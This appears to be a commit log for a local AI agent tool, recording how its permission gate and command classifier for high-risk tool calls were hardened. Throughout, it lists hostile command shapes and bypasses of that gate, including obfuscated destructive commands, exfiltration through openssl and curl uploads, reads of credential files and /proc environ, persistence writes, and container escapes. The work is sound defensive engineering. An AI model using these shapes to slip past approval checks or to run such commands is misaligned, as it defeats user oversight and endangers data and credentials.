* Index inactive-cache snapshots, widen local GGUF detection and clear retired quants for PR #7312

* Classify cached repos by snapshot, merge repo ids case-insensitively and keep loose GGUFs variantless for PR #7312

* Fix snapshot alias, partial split and mmproj-only handling for PR #7312

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trust scanned model_format and drop incomplete snapshot ids for PR #7312

* Exclude mmproj and partial downloads, keep path case and drop duplicate scan for PR #7312

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Restrict revision aliases and require complete snapshot variants for PR #7312

* Index revisions individually and hide partial variants for PR #7312

---------

Co-authored-by: shimmyshimmer <107991372+shimmyshimmer@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: oobabooga <oobabooga4@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-26 17:09:19 -07:00
Daniel Han
1255964d5a
Studio: default tool-call permission to Approve for me, prompt only on high-risk actions (#7285)
* Default tool-call permission to Approve for me, prompting only on high-risk actions

Make "auto" ("Approve for me") the product default permission mode for local
tool calls, and narrow what it prompts on so ordinary development commands run
without interruption.

Before, an omitted permission_mode behaved as "ask" (or ran ungated on a
non-streaming request), and "auto" paused on any call that was not read-only
(pip install, mkdir, cp, python train.py, git commit, any redirect). Now:

- Unset permission_mode normalizes to "auto" at the API boundary and in both
  tool loops; the Field defaults are "auto" too. An unrecognized value still
  falls back to the stricter "ask".
- "auto" pauses only on genuinely high-risk calls via a new
  is_high_risk_tool_call classifier: credential/secret path access, privilege
  escalation (sudo/su/doas/pkexec), destructive or persistence commands
  (rm/dd/mkfs/crontab/systemctl/recursive chmod, ...), and network exec/exfil
  (curl piped to a shell, ssh/scp/nc, curl uploads). Everything else runs.
  Python prompts on shell escapes, network egress, sensitive reads, and
  dynamically built code; ordinary in-workdir writes run.
- Frontend sends permission_mode for every local chat and omits
  confirm_tool_calls for "auto" so the safe-only no-stream exception still
  applies; the picker and store describe the new behavior.

The hard-block command set, code-safety static analysis, resource limits,
secret-env stripping, and the per-session sandbox workdir remain in force under
every mode, and "ask" is still available for users who want to confirm every
call.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep non-streaming tool requests working under the auto default

The default-permission change made an omitted permission_mode normalize to
auto at the request boundary, so a non-streaming enable_tools request hit the
confirm-without-stream guard and returned 400 instead of running (regression
against the #6570 non-streaming tool-call contract used by non-interactive
clients and health checks).

Keep permission_mode unset at the request boundary (the confirm gate can only
prompt while streaming, so an unset non-streaming request stays lenient and
runs), while the tool loops continue to normalize an unset mode to auto for the
per-call gate. Net: streaming requests default to auto and pause high-risk
calls; non-streaming requests keep the prior run-without-gate behavior.

* Harden the auto high-risk classifier against review-flagged bypasses

Address Codex/Gemini review of the default-permission change by gating the
destructive/exec cases that were reaching auto mode without a prompt:

- Terminal: a non-shell interpreter running inline code (python -c, node -e,
  perl -E, php -r), destructive git subcommands (git clean, git reset --hard,
  git push --force), and a command synthesized by a command-position
  substitution ($(printf rm) -rf build) now prompt. Ordinary python <script>,
  git commit/push, and argument-position substitutions (echo $(date)) run.
- Python tool: exec/eval/compile/__import__ invoked by keyword (compile(source=
  ...), import_module(name=...)) is now caught alongside the positional form.
- MCP: an execution tool (run_command, execute_script, invoke_shell) is gated
  like a terminal call, since it runs arbitrary commands on the MCP server
  outside the terminal sandbox; ordinary create/list/read tools still run.

The curl/wget exfil and shell eval cases the review raised are already refused
by the sandbox hard-block set, so no gate change was needed there; the PR
description now notes the classifier layers on top of that hard-block.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Recurse shell -c payloads and literal exec source in the high-risk gate

Second review round on the auto high-risk classifier:

- A high-risk command wrapped in a shell -c payload (bash -c 'git clean -fd',
  sh -c 'truncate -s 0 x') is now screened by recursing into the payload,
  bounded by depth. The sandbox hard-block only recurses for its own smaller
  command set, so git/truncate wrapped this way previously ran unprompted.
- A literal exec/eval/compile source is screened for what it runs rather than
  assumed harmless: exec('import urllib...urlopen(...)') now prompts, while
  exec('x = 1') and a literal __import__('os') name still run.
- git global options that take a value (git -C repo clean, git -c k=v clean)
  consume their value before the subcommand is read, so the real subcommand
  is judged.
- The network exfil check also runs over the assignment-expanded command, so a
  curl/wget name assembled from variables (c=cu d=rl; $c$d -F ...) is seen.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Cover attached inline flags, env -S/-C, camelCase MCP, folded python paths

Third review round on the auto high-risk classifier:

- Interpreter inline code in the attached short form (python -c'...',
  node -e'...') is now matched by the -c/-e/-E/-r prefix, not only the exact
  flag token.
- env -S / --split-string runs its string as a command (screened recursively)
  and env -C / --chdir changes the working directory (asks), so a destructive
  command behind env is no longer treated as a plain wrapper.
- camelCase MCP tool names are split on the case boundary (runCommand ->
  run_Command) before the execution / sensitive-noun regexes, so camelCase
  execution tools are gated like snake_case ones.
- A sensitive path folded across string-literal variables, os.path.join,
  sep.join([...]), or an f-string (p='/etc'; open(p+'/shadow')) is now folded
  and re-checked; an unresolved fragment folds to a sentinel so a partial fold
  never false-positives.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate substitution-built shell payloads and keep explicit confirm opt-in

Two auto-mode gaps from review:

- A command substitution stashed in a variable and then executed dynamically
  (x=`printf 'git clean -fd'`; bash -c "$x", or ...; $x, or eval "$x") never
  appears as literal command text, so the token scan could not see the real
  command and git clean ran without a prompt. Fail closed when a command
  substitution coincides with a variable executed as a command. Ordinary
  substitutions captured into a value/argument (d=$(date); mkdir build_$d) still
  run.

- An explicit confirm_tool_calls=True with no permission_mode is the
  pre-permission-mode opt-in to confirm every call. It now resolves to "ask" at
  the request layer instead of the "auto" product default, so those callers keep
  per-call gating rather than only prompting on high-risk calls. A bare unset
  request (confirm flag not set) still defaults to auto.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Cover CLI-forced confirm, Windows delete built-ins, and pathlib reads

Three more auto-mode gaps from review:

- An explicit confirm_tool_calls=True with no permission_mode is now resolved to
  "ask" regardless of the request-level tool flags, so a process-wide
  --enable-tools policy that forces the loop when the request sets neither
  enable_tools nor mcp_enabled still gates every call. Setting only the mode is
  inert unless the loop runs, so a passthrough request is unaffected;
  external-provider requests are still left untouched.

- The Windows cmd.exe delete built-ins del, erase, and rd are added to the
  high-risk terminal set. The terminal executor runs cmd /c on Windows and these
  are not in the hard-block set, so del /q file.csv would otherwise run in the
  workdir without a prompt.

- A sensitive path assembled with pathlib (Path('/etc') / 'passwd', joinpath, or
  a Path bound to a variable then joined) is now gated. The python high-risk
  folder reuses the shared _folded_path builder plus _folded_is_sensitive, which
  already handle the / operator, path constructors, os.path.join, str.join,
  f-strings, and %/.format. Relative in-workdir and unknown-base paths still run.

* Gate combined -c, versioned interpreters, busybox, and sensitive chdir

Four more auto-mode classifier gaps from review, plus a sandbox backstop:

- Combined shell flag clusters (bash -lc, bash -xc) and the attached form
  (bash -c'...') now have their -c payload screened recursively; the same
  cluster handling closes python -Bc inline code. Previously only an exact -c
  matched, so bash -lc 'git clean -fd' ran without a prompt.

- Versioned interpreter binaries (python3.11, python2.7, pypy3.10) are recognized
  as inline-code interpreters, so python3.11 -c '...' is gated like python3 -c.

- busybox / toybox are treated as command wrappers, so the applet
  (busybox rm -rf) is judged instead of the multicall binary, which was slipping
  through as an unknown-but-safe command.

- A chdir into a sensitive directory (cd /proc/$PPID; cat environ, cd /etc) is
  gated: the read happens after the directory change so no single token spells
  out the sensitive path. Ordinary in-workdir chdirs still run.

- Backstop for the /proc/<parent>/environ read: the sandbox now hardens the
  Unsloth process against same-UID /proc environ reads in normal sandboxed mode
  too, not only in bypass mode, so a classifier miss cannot recover the parent
  environment. Best-effort in the sandbox (the child env is already scrubbed), so
  a host where prctl is unavailable still runs.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden parent proc-env on the sandboxed python path too

The previous commit hardened the Unsloth process against same-UID
/proc/<parent>/environ reads on the sandboxed bash path; apply the same
best-effort hardening on the sandboxed python exec path so both tools are
symmetric. Update test_bypass_exec_hardens_parent_proc_env, which asserted the
sandboxed path never hardened, to expect the backstop on both paths.

* Tighten the curl/wget exfil check for attached and wget upload flags

The network exec/exfil classifier missed a curl upload flag when it was attached
to its value (curl -Ffile=@dump.sql, curl -d@f) because the token was split on =
first, and it did not cover wget's upload flags (--post-data, --post-file,
--body-data, --body-file). curl short upload flags are now matched prefix-wise and
wget's upload flags are checked separately, which also removes a false positive
where a benign wget short option (wget -T timeout, wget -F force-html) was read as
an upload. curl and wget remain hard-blocked by the sandbox regardless; this only
tightens when auto mode pauses for approval.

* Tighten the high-risk auto-mode classifier: wrapper, interpreter, git, python-fs, MCP, and persistence-write gaps

Close reachable gaps where a genuinely dangerous tool call was auto-approved
without a prompt in Approve-for-me mode:

- Process-launch wrappers: setsid/exec/builtin forward the command position, so
  screen their child (setsid git clean, exec python -c) instead of the wrapper.
- Inline-code interpreters: node/bun -p/--print evaluate code like -e; pwsh
  -Command/-EncodedCommand run inline code (not hard-blocked off Windows).
- Windows cmd.exe /c|/k recurses into the nested command (cmd /c del x).
- git restore (default --worktree) and git checkout -- . / git checkout .
  discard tracked edits irrecoverably, same class as the already-gated git clean.
- Python destructive filesystem calls (os.remove, shutil.rmtree, Path.unlink,
  os.rmdir/removedirs, incl. bare imports) pair with the terminal rm gate.
- MCP: a read-named tool carrying a destructive payload (DELETE/DROP SQL,
  GraphQL mutation, mutating HTTP method) still prompts; honestly-named
  create/update/delete MCP calls keep running.
- System persistence writes: a write into /etc/profile.d, /etc/cron*,
  /etc/systemd, /etc/ld.so.preload, /etc/rc.local, /etc/init.d installs a
  boot/login/preload hook. The sandbox keeps host-fs access, so gate these;
  ordinary /etc reads (hostname, resolv.conf) and in-workdir writes still run.

Adds table-driven regression rows for every new prompt case and its
guard-against-over-prompt counterpart.

* Extend the high-risk auto-mode gate: non-curl network clients, destructive MCP verbs, array-fed shell payloads

Round-two Codex hardening on the auto (Approve-for-me) classifier:

- Network exfil beyond curl/wget: gate nc/ncat/netcat/telnet/socat/ssh/scp/sftp
  at command position and openssl s_client/s_server. The sandbox has no network
  namespace, so tar czf - . | openssl s_client -connect host:443 was streaming
  the workdir without a prompt. Local openssl (dgst/enc) and a filename that
  merely contains a client name still run.
- Destructive MCP tools: an honestly-named delete_file/delete_repo/drop_table/
  purge_index/revoke_token runs outside the terminal sandbox and loses data, so
  gate the destructive verb on the name. Non-destructive create/update/list/get
  still run; a substring like undelete does not match on the segment boundary.
- Dynamically constructed shell payloads: x=(git clean -fd); bash -c "${x[*]}"
  carries no command substitution and is not resolved by assignment expansion,
  so it slipped the var-executed check. Fail closed when an array expansion is
  run as a command; a benign array print (echo "${a[@]}") is untouched.

Adds regression rows for every new prompt case and its benign counterpart.

* Gate user-level persistence writes in auto mode

Extend the persistence-write gate from the /etc set to user-level startup and
autostart locations: a write into ~/.bashrc, ~/.zshrc, ~/.profile and the other
shell rc/profile files, ~/.config/autostart, ~/.config/systemd/user, or
~/.config/environment.d runs on the next login/session, the same boot-hook risk
but needing no root (Studio commonly runs unprivileged, so this is the more
reachable vector). The sandbox does not confine absolute paths, so an append to
~/.bashrc reaches the real file. A non-persistence ~/.config dir and ordinary
reads still run. Adds regression rows.

* Close three more auto-mode gate gaps: curl destructive methods, the dot source synonym, aliased os.remove

- curl -X DELETE / --request DELETE|PUT|PATCH (separated, attached, and
  --request= forms) mutates or deletes a remote resource, so gate it; a plain
  download and GET still run.
- The hard-block set blocked source but not its POSIX synonym '.', so
  . ./script.sh ran the file's contents past the classifier. Block '.' at
  command position too; a path argument (find . -type f, cd .) is unaffected.
- os.remove reached through an aliased module (import os as fs; fs.remove(...))
  was missed because only the literal receiver 'os' was recognized; resolve
  import os as ... aliases, matching the existing safety analyzer.

Adds regression rows for each case and its benign counterpart.

* Close three more obfuscation bypasses of the auto-mode gate and hard block

- ANSI-C quoting hid the command name: a $'rm' -rf x form tokenized as $rm, so
  both the high-risk scan and _find_blocked_commands missed it while Bash ran
  rm. Decode ANSI-C ($'...') before classifying, in both the terminal
  classifier and the blocklist; an ANSI-C string in argument position stays
  benign.
- Process substitution executed as a script (an interpreter consuming a <(...)
  whose generated content is unscreenable) ran without a prompt; the prior <(
  check was unreachable without curl/wget. Gate a process substitution consumed
  by an interpreter; a non-interpreter consumer (diff over two <(sort ...))
  still runs.
- os.remove bound to a name (f = os.remove; f(x)) or reached via getattr(os,
  'remove') bypassed the direct-attribute scan. Track assignment aliases and
  getattr with a literal attribute name; a bound list.remove still runs.

Adds regression rows for each case and its benign counterpart.

* Gate container runtimes, MCP privilege grants, arg-embedded exec, and network listeners

- Container/VM runtimes (docker, podman, nerdctl, ctr, crictl, lxc, machinectl,
  kubectl) act through a daemon with host privileges, so a bind mount writes the
  real filesystem and escapes the child process workdir and rlimits entirely.
  Gated wholesale because the escape lives in the arguments.
- MCP privilege grants: an unambiguous privilege verb (grant/authorize/elevate/
  escalate/impersonate) prompts on its own; a softer verb (assign/add/set/
  attach/bind/put/update/create) prompts only next to a privilege noun (role,
  permission, policy, acl, scope, membership), so assign_issue and add_label
  keep running while grant_role and add_permission ask.
- A flag whose value is a command the tool then executes (GNU tar
  --checkpoint-action=exec=CMD, --rsh, --rsync-path) hid a payload inside an
  argument, past both the classifier and the blocklist. Ordinary archiving runs.
- An interpreter serving on the network (python -m http.server, uvicorn,
  gunicorn, waitress) exposes the session workdir since the sandbox keeps no
  network namespace. A non-server module (python -m pytest, -m pip) still runs.

Adds regression rows for each case and its benign counterpart.

* Close the parallel-review gaps: over-prompting regressions and asymmetric high-risk omissions

Over-prompting fixes (auto mode was pausing on ordinary work):
- The network-listener check matched a server name ANYWHERE in the command, so
  `pip install uvicorn`, `grep uvicorn reqs.txt` and even `echo uvicorn`
  prompted. Scope it to the two forms that actually listen: a module after
  `-m`, or a server binary at command position.
- Inline-code flags were one shared set, so `python -E` (ignore env) and
  `python -Werror` read as eval. Resolve them per interpreter: python -c,
  node/deno/bun -e/--eval, ruby -e, perl -e/-E, php -r.
- The curl upload scan read option letters from unrelated commands in the same
  line (`ls -T && echo curl`). Scope the scan to the segment whose command is
  actually curl/wget.

Under-prompting fixes (destructive actions the narrowed gate stopped catching,
each the twin of something already gated):
- git: switch -f/--force/--discard-changes, stash clear/drop, branch -D/-M,
  rm, push --delete/--mirror/--prune and the +src / :dst refspec forms.
- Platform twins: unlink, ftp, tftp, format, diskpart, diskutil, schtasks,
  reg, sc, launchctl.
- Python: posix/nt module twins (including bare imports), os.truncate,
  os.ftruncate, os.kill, os.killpg, and a file handle's truncate. Gated via the
  handle name so pandas DataFrame.truncate() keeps running.
- MCP: clear/reset/empty/flush/prune/expire destructive verbs, promote.
- deno/bun expose inline eval as a subcommand, not a flag.
- A bare redirect (`> file`, `: > file`) truncates; a redirect after a real
  command is an ordinary write and still runs.
- A forwarded git command keeps its git context (`find -exec git clean`,
  `xargs git clean`), and an unquoted `cmd /c` payload spans the remainder.

Adds regression rows for every case and its benign counterpart.

* Gate shell control flow, bash -c clusters, wrapper option values, and annotated aliases

- `if`/`while`/`until` are followed by a condition the shell runs, so a command
  there is at command position. `if rm -rf build; then :; fi` slipped both the
  classifier and the blocklist (they share the keyword set, so both are fixed).
- A short letter run after `-c` (bash -ce, bash -cl) is more bash options, not
  an attached payload: bash still reads the command string from the next token,
  so the real payload was never screened.
- A wrapper option taking a separate value (env -u NAME, stdbuf -o L, timeout
  --signal TERM, nice -n 5) had its value read as the wrapped command, so
  `env -u FOO rm -rf build` resolved the command `FOO` and never judged `rm`.
  env -C/--chdir is deliberately excluded: it is gated as a chdir already.
- An annotated binding (f: object = os.remove) is the same alias as a plain
  assignment; only ast.Assign was collected.

Adds regression rows for each case and its benign counterpart.

* Fix two gate regressions and close seven more bypasses

Regressions from the previous round, both caught by review:
- Shell keywords were treated as separators anywhere, so `grep if rm README.md`
  resolved `rm` as a command and was blocked. A keyword only separates where a
  command may start, so gate the check on command position (all three scanners).
- The wrapper option-value table was shared across wrappers, but `env -i` is
  valueless while `stdbuf -i` takes a value. `env -i git clean -fd` therefore
  consumed `git` and never judged the subcommand. The table is per wrapper now.

New gaps closed:
- `git -c alias.NAME=PAYLOAD` defines code git then runs. Screen the payload: a
  `!` alias as a shell command, a plain one as `git <payload>`.
- A script fed to a shell over a pipe (printf '...' | bash) or a herestring
  (bash <<< '...') never appears at command position. Ordinary pipes still run.
- `chroot`, `nsenter` and `unshare` cross a privilege or namespace boundary and
  then exec a nested command the wrapper hides.
- A bare runtime name (mcp__srv__python, __node, __code) is an MCP execution
  tool even without a verb.
- `m = __import__("os")` binds the module like `import os as m`, and
  `getattr(__import__("os"), "remove")` reaches it inline.

Declined: gating every command substitution used as a path argument (would
prompt on `echo $(date)` / `make $(FILES)`), and bare `git checkout <path>`
(statically indistinguishable from the very common `git checkout <branch>`).

Adds regression rows for each case and its benign counterpart.

* Pin the auto-mode contract with benign and dangerous corpora

The value of defaulting to "Approve for me" rests on two properties that pull
in opposite directions: ordinary development work must run silently, and
genuinely dangerous work must still prompt. Every denylist change risks
trading one for the other, and a regression in the benign direction is easy to
miss because nothing fails, the mode just starts nagging.

Add two corpora that pin both directions: 62 ordinary commands, python
snippets and MCP calls that must NOT prompt (package installs, builds, tests,
git workflow, reads, ordinary pipes and redirects), and 55 dangerous ones that
must (credential reads, destructive and persistence changes, privilege
escalation, network exec and exfil, container escapes, obfuscated forms).

125 cases, currently 100 percent in both directions.

* Scope four over-prompting checks and close six more gate gaps

Over-prompting fixes (auto mode was pausing on ordinary work):
- find/fd were marked forwarding from the command itself, so every later
  positional looked executable and a search whose pattern happened to equal a
  gated command name prompted. They only forward after an explicit
  -exec/-execdir/-ok flag now.
- The openssl s_client check was not command-position aware, so grepping for
  the string in a README prompted.
- An exec-valued flag (--checkpoint-action, --rsh, --rsync-path) counted no
  matter which command owned it, so printf '%s' --rsh prompted. It now
  requires the owning utility (tar/rsync/scp/sftp) in the same command.
- A listener behind a wrapper or given by absolute path was missed instead
  (env uvicorn, timeout 60 gunicorn, /usr/local/bin/uvicorn); resolving the
  binary at command position covers all three.

New gaps closed:
- git checkout <commit> <path> overwrites the file from that commit, as does
  --pathspec-from-file. A single positional stays ambiguous with a branch name
  and is still left alone.
- git config alias.NAME BODY stores code git runs on the next invocation, so
  the body is screened like the -c form.
- systemd-run launches a nested command as a transient unit.
- Version-suffixed perl/ruby/php/node still run inline code with -e/-r.
- A file handle bound by `with open(...) as f` is tracked for truncate, not
  just an assigned one.
- Exceeding the shell nesting depth now fails closed, matching the docstring,
  instead of letting an unscreened payload through.

Declined: rebinding a command name through the bash hash builtin. Like the
alias/read/awk/coproc family already declined, it is deliberate
self-obfuscation of an already-gated command rather than anything a model
emits, and the always-on backstops cover it.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope two more over-prompting checks and close four gate gaps

Over-prompting fixes (auto mode was pausing on ordinary work):
- A recursive flag was looked for across the whole command line, so
  `grep -R pattern . && chmod +x build.sh` made the chmod look recursive and
  prompted. The flag is now scoped to the segment that owns the command.
- The startup-file names were matched anywhere in the line, so `cat
  notes.profile.bak` and `my.zshrc.template` prompted. They now have to sit on
  a path boundary, while the real dotfiles still prompt.

New gaps closed:
- A pending wrapper option value leaked past a command separator, so the
  command after it was never screened (`env -u` followed by a recursive delete
  was missed). The pending state is cleared at every separator now.
- git plumbing and maintenance that loses data: update-ref, reflog, gc, prune
  and history rewriting drop refs and unreachable objects, the same loss the
  porcelain forms already gate.
- A module pulled in dynamically is screened against the same set as a static
  import, so a dynamically imported socket or shutil is treated alike.
- MCP names that move money or ship artefacts (transfer, payout, charge,
  refund, wire, publish, deploy) are irreversible for the operator even though
  they are not destructive in the filesystem sense.

Declined two items:
- Gating arbitrary interpreters that can shell out (awk BEGIN blocks and
  friends). Consistent with the alias/read/coproc/trap family already declined
  here: it inverts the denylist into an allowlist and costs real ergonomics for
  payloads a model does not emit in normal work.
- Prompting on every write outside the session workdir. Ordinary builds and
  scripts write to the standard temp directories constantly, so this would
  prompt on routine work. Persistence and credential paths are already gated
  specifically.

* Resolve command-position globs and keep quoted data out of shell syntax

- A glob at command position is expanded by bash after this scan runs, so
  `/bin/r[m] -rf x` was screened under a name that never executes. The
  always-on blocklist now resolves such a pattern against the blocked names,
  and the classifier asks when a command word cannot be resolved at all. The
  test builtins are excluded, and a pattern carrying no literal character
  resolves to nothing in particular.

- A dollar-quoted word expands to a single word, so a newline inside it is
  data rather than a separator. Decoding it before tokenization made
  `printf '%s'` with multiline data read as two commands and the call was
  refused outright. The decoded text can no longer introduce shell syntax,
  while an escape-obfuscated command name still resolves.

- An attribute name assembled from literals is folded before it is screened,
  so a deletion spelled as a concatenation is treated like the plain form. A
  name on a filesystem module that cannot be folded at all fails closed, since
  there is nothing left to screen.

- An MCP name with no separators never reached the segment boundaries, so a
  server-side execution tool was classified as ordinary even though the
  previous classifier failed closed on it. The verb and object compounds are
  matched directly now, while a name that merely starts with those letters is
  left alone.

Also narrowing a verb pair added in the previous commit: subscribing to a
topic is not a billing subscription, and pub/sub tools should not prompt.

* Screen attached exec values, wrapped openssl, php code flags, worktree removal and sysctl writes

- fd accepts the command attached to the flag (--exec=<cmd>, --exec-batch=),
  and that spelling was stripped and discarded without ever being screened.
  The value is treated as command position now, in the classifier and in the
  always-on blocklist. Only the long spellings are read this way: a short -x
  belongs to too many other utilities for its neighbour to be a command.

- The openssl socket check was anchored at command position, so a wrapper in
  front of it (env, timeout) hid the very thing it was meant to catch. The
  subcommand is checked on the resolved command segment now, so the wrapped
  and absolute forms are covered. Local openssl (dgst, enc) still runs.

- php runs code from -B, -R and -E as well as -r, which are begin, per-line
  and end blocks. Only -r was listed, so the other three ran inline programs
  unscreened.

- git worktree remove --force deletes a linked worktree even when it holds
  uncommitted work or is locked, but only the first-level subcommand was read
  so the nested action was invisible. An unforced remove refuses on a dirty
  worktree and stays out, matching how the checkout and switch discard flags
  are handled.

- sysctl -w, --system and -p change kernel parameters, and the assignment form
  writes without needing a flag. A read-only query stays automatic.

* Fail closed on unscreenable MCP names, alias bodies and stored lookups

- An MCP name whose verb this classifier does not recognise now asks. MCP
  tools run on an external server, outside the terminal sandbox and every
  backstop under it, and their names are an open vocabulary rather than the
  finite set of POSIX utilities, so the denylists could never be complete: a
  name built from an unfamiliar verb sailed through as ordinary. A generous
  read and write vocabulary keeps the everyday tools running, and the reverse
  or repeat of a recognised verb (undelete, reopen, resend) counts as
  recognised too. Measured against thirty tool names taken from the common
  servers, one still prompts, and that one is the pre-existing execution rule
  rather than this one.

- A shell alias body is a command bash runs when the alias is invoked, so it
  is screened as a command in its own right, in the classifier and in the
  always-on blocklist. This is the same shape as a git alias body, which was
  already handled; leaving the shell form out was inconsistent.

- git --config-env=<key>=<envvar> takes its value from the environment, so an
  alias key stores code that never appears in the command text at all. The
  attached form was skipped entirely because the parser required no equals
  sign. An alias key gates it now; ordinary keys are untouched.

- A destructive lookup stored before it is called (a name bound to
  getattr(os, "remove")) matched neither the direct call shape nor the alias
  collection, so it ran. The binding is tracked now.

- A credential basename only names a file when it appears in a string, but the
  whole Python source was being scanned, so `credentials = {}`, a function
  called load_credentials and even a comment mentioning credentials all
  prompted while performing no I/O. The check applies to string literals now,
  with the raw scan kept for source that does not parse.

* Split git short-option clusters and close five more gate gaps

- Git combines short options, so `git push -qf`, `git checkout -qf` and
  `git branch -qD` never matched the exact-string flag sets and ran without a
  prompt. Clusters are split before the destructive flags are checked. Also
  adds the short `-f` spelling to the branch set, which moves a ref and can
  abandon its commits.

- `getent shadow` and `getent gshadow` return password hashes straight from
  NSS, so the read never spells out a path for the sensitive-path check to
  find. The database name is gated instead; ordinary lookups (hosts, passwd)
  still run.

- The account-management set covered useradd and usermod but not adduser,
  deluser, addgroup, delgroup, groupmod, gpasswd, newusers or chgpasswd, so
  `gpasswd -a user sudo` granted group membership silently.

- at and batch hand a payload to atd, which runs it later as this user and
  outside this invocation's blocklist, resource limits, timeout and
  cancellation. They belong with crontab.

- A command word bash builds without the NAME=value form (printf -v, read)
  left nothing at command position to screen. A bare variable executed as a
  command that assignment expansion could not resolve now fails closed. A
  variable used as a path prefix is deliberately excluded: ${VENV}/bin/python
  still leaves a literal basename the scan can read.

* Stop prompting on six inspection shapes and close eighteen gate gaps

Over-prompting fixes, which matter most here since not interrupting ordinary
work is the point of the change:

- `git clean -n` and `--dry-run` list what would be removed and remove nothing,
  so they are inspection commands. The subcommand was gated regardless of its
  flags; a dry run is now recognised in the same segment.
- The listener check matched a module name anywhere in the line, so
  `echo 'python -m http.server'` and grepping for it prompted. It is anchored at
  command position now, like the server-binary check beside it.
- An MCP name that reads names its SUBJECT, not the action: `get_release`,
  `get_invoice`, `search_code` and `get_code` were prompting because the impact
  and runtime-noun patterns fired on the noun. A read verb now suppresses both,
  while an execution verb still wins.
- Free text is not a statement. An issue body or chat message that mentions
  DELETE FROM, a credential file or a path was read as an action. Statements are
  taken from the query-bearing argument names, and paths are skipped only for
  the prose names, since a path can be carried under any other name.
- curl and wget presence was decided by substring, so `grep curl notes.txt &&
  wget -T 5 ...` lent curl's option letters to wget.

Gaps closed:

- git checkout-index -f overwrites the working tree from the index; git tag -d
  and -f delete or replace a ref; git switch -C and checkout -B reset an
  existing branch the way branch -f does.
- Ending a process (kill, pkill, killall, taskkill, tskill) or the machine
  (shutdown, reboot, halt, poweroff) was ungated, though the Python os.kill
  equivalent already prompted. setcap grants file capabilities without sudo.
- A network client behind a wrapper (env curl -T) was missed because the client
  check ran before the wrapper was resolved. slogin is a standard ssh alias and
  was in neither set. wget spells the request method --method=DELETE.
- A tracer (strace, ltrace, valgrind, perf) runs the rest of the line as a
  child, so the real command sat in argument position behind it.
- A redirection may precede the command word, so `</dev/null` hid what followed
  from both scanners. `exec -a NAME cmd` puts a name where the command goes, and
  the Windows `if exist FILE cmd` form puts an operand there.
- In Python: a walrus binds a module or a callee just like an assignment,
  builtins.__import__ is the attribute form of __import__, and psutil ends a
  process exactly as os.kill does. The psutil check is keyed on the import so an
  unrelated .kill() on a user object keeps running.
- Over MCP: a credential carried in an argument NAME (Authorization, X-API-Key,
  Cookie) goes out whatever its value looks like; collaborator and team-member
  grants are access changes like the role verbs; and a recurring subscription
  bills repeatedly.

* Bound the classifier's input and stop prompting on four more ordinary shapes

Found by simulating the whole corpus against pre-PR main on Linux, macOS and
Windows tokenizers and diffing the two, then feeding the classifier adversarial
input.

Robustness:

- The credential-path pattern backtracks superlinearly, so a long argument made
  a single classification take seconds. Measured on main as well as here, so it
  predates this change, but this change makes the auto gate the default and so
  runs it on every call. Text far past any real path, and a command far past any
  real command, now fail closed: they ask rather than spending unbounded time
  deciding. Worst case over the adversarial set drops from a hang to 13 ms.

Over-prompting fixes:

- A container CLI reading its own state (docker ps, docker images, docker logs,
  kubectl get) is inspection. The whole CLI was gated because the escape lives
  in the arguments of run/exec, so the read subcommands were caught with it. An
  unrecognised subcommand still asks, so the list can only be too small.

- A python payload is screened with the same analyzer the python tool uses, so
  `python -c 'import torch; print(torch.__version__)'` runs while a destructive
  one-liner still asks. A payload that does not parse fails closed, since shell
  quoting may have mangled it. The other runtimes have no analyzer here and stay
  gated.

- An assignment with no command after it runs nothing: every terminal call gets
  its own shell process, so `export PATH=...` on its own dies with that process.
  Verified against real bash rather than assumed.

- For the search paths other than PATH (PYTHONPATH and friends), a relative
  entry points inside the session workdir, which is the agent's own directory,
  so `PYTHONPATH=. pytest` runs. An absolute or escaping entry can shadow a real
  module and still asks. PATH itself counts for every value, because a relative
  entry there is the sharpest form of the hijack (`PATH=. ls` runs ./ls).

Net effect on the probe corpus, identical on all three platforms: ordinary and
inspection commands go from 99 of 136 prompting to 0, dangerous stays at 99 of
99, and the always-on hard-block set loses nothing and gains six entries.

* Tighten the permission-mode comments

Comment-only pass over the code this branch added. Every explanation is
collapsed to the fewest lines that still read clearly, redundant restatements
of the code are dropped, and a handful of blocks that had drifted away from the
constant or branch they describe are moved back next to it.

The non-obvious behaviours keep their note, just shorter: an unforced
`git worktree remove` refusing on a dirty worktree, a bare `-c` yielding an
empty attached value rather than None, `.` being the POSIX synonym for
`source`, prose keys being skipped rather than path keys allowlisted, and the
route keeping an unset mode lenient so non-streaming clients still work.

No code, string literal or test expectation changed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate the navigation sinks reached by bracket access

The canvas egress check gated location.assign / location.replace and an
assignment to location.href, and it already handled bracket access for the
fetch family, but not for the navigation sinks. So `location['assign'](url)`
and `location['href'] = url` auto-ran and could navigate the preview frame to
an attacker URL with the page contents appended, which is the same egress the
dot forms already gate.

Both bracket forms are covered now, including a fully bracketed host
(`window['location']['href']`). The names are anchored to location so ordinary
bracket keys stay static: a string's own `['replace']`, an object's `['href']`,
and reading `location['href']` all still run without a prompt.

* Gate seven more ways a command reaches the shell in auto mode

git submodule foreach runs its argument in every submodule, so the payload is
a command in its own right; it now recurses through the terminal classifier and
through the hard-block scan. An awk program can shell out with system() or by
piping to "sh", so the program text is screened for those two shapes while
ordinary field work (awk '{print $1}') keeps running.

setpriv changes privilege and then execs what follows, so it is transparent to
the scan (setpriv --nnp rm -f x resolves rm) and its privilege-raising flags
(--reuid, --ambient-caps, --bounding-set) prompt on their own. fallocate
punches, zeroes or collapses a range in place, which destroys file contents,
so those flags prompt while plain allocation (-l SIZE) does not.

